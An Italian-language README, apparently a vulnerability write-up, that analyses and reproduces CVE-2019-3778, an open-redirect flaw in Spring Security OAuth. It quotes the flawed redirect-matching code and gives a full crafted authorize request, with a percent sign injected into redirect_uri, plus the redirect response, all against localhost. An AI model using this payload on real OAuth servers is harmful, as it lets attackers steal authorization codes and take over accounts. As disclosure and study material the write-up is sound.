bbb-man/cve-2019-3778-spring-security-oauth-2.3-open-redirectionSpring Security OAuth 2.3 Redirezione Aperta Analisi e Riproduzione
Spring Security OAuth 2.3 Open Redirection - Analisi e Riproduzione
Le versioni di Spring Security OAuth 2.3 precedenti alla 2.3.6, 2.2 precedenti alla 2.2.5, 2.1 precedenti alla 2.1.5 e 2.0 precedenti alla 2.0.18, così come le versioni precedenti non supportate, potrebbero essere suscettibili a un attacco di redirect aperto che può compromettere un codice di autorizzazione. Un utente malintenzionato o un attaccante può creare una richiesta all'endpoint di autorizzazione utilizzando il tipo di grant del codice di autorizzazione e specificare un URI di reindirizzamento manipolato tramite il parametro redirect_uri. Ciò può far sì che il server di autorizzazione reindirizzi l'user-agent del proprietario della risorsa verso un URI sotto il controllo dell'attaccante, con il codice di autorizzazione compromesso.
Manipolando il parametro REDIRECT_URI, un attaccante può effettivamente bypassare la validazione.
Il codice che causa la vulnerabilità si trova nel pacchetto org.springframework.security.oauth2.provider.endpoint La classe: DefaultRedirectResolver, il cui metodo obtainMatchingRedirect non esegue una corretta sanificazione
/** * Attempt to match one of the registered URIs to the that of the requested one. * * @param redirectUris the set of the registered URIs to try and find a match. This cannot be null or empty. * @param requestedRedirect the URI used as part of the request * @return the matching URI * @throws RedirectMismatchException if no match was found */ private String obtainMatchingRedirect(Set redirectUris, String requestedRedirect) { Assert.notEmpty(redirectUris, "Redirect URIs cannot be empty");
if (redirectUris.size() == 1 && requestedRedirect == null) {
return redirectUris.iterator().next();
}
for (String redirectUri : redirectUris) {
if (requestedRedirect != null && redirectMatches(requestedRedirect, redirectUri)) {
return requestedRedirect;
}
}
throw new RedirectMismatchException("Invalid redirect: " + requestedRedirect
+ " does not match one of the registered values: " + redirectUris.toString());
}
La seguente richiesta effettuata dall'APP CLIENT dopo che l'utente ha effettuato l'accesso contiene il parametro REDIRECT_URI. La validazione viene bypassata semplicemente aggiungendo un segno di percentuale, che innesca un reindirizzamento invece dell'errore RedirectMismatchException.
La RICHIESTA ORIGINALE contenente un URI valido: GET /auth/oauth/authorize?response_type=code&client_id=R2dpxQ3vPrtfgF72&scope=user_info&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D&redirect_uri=http://localhost:8086/login/oauth2/code/ HTTP/1.1
L'attaccante quindi inganna l'applicazione modificando completamente l'URI verso un altro server aggiungendo, ad esempio, un segno di percentuale:
GET /auth/oauth/authorize?response_type=code&client_id=R2dpxQ3vPrtfgF72&scope=user_info&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D&redirect_uri=http://%localhost:9000/login/oauth2/code/ HTTP/1.1 Host: localhost:8085 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost:8085/auth/login Connection: close Cookie: JSESSIONID=3394FD89204BE407CB585881755C0828; JSESSIONID=C0F1D5A2F1944DCB43F2BFFA416B7A63 Upgrade-Insecure-Requests: 1
La RISPOSTA, infatti, non produce il previsto errore OAUTH, ma reindirizza l'utente:
HTTP/1.1 302 Cache-Control: no-store X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block X-Frame-Options: DENY Location: http://localhost:8086/login/oauth2/code/?code=4ecsea&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D Content-Language: en-US Content-Length: 0 Date: Mon, 17 Jun 2019 11:06:18 GMT Connection: close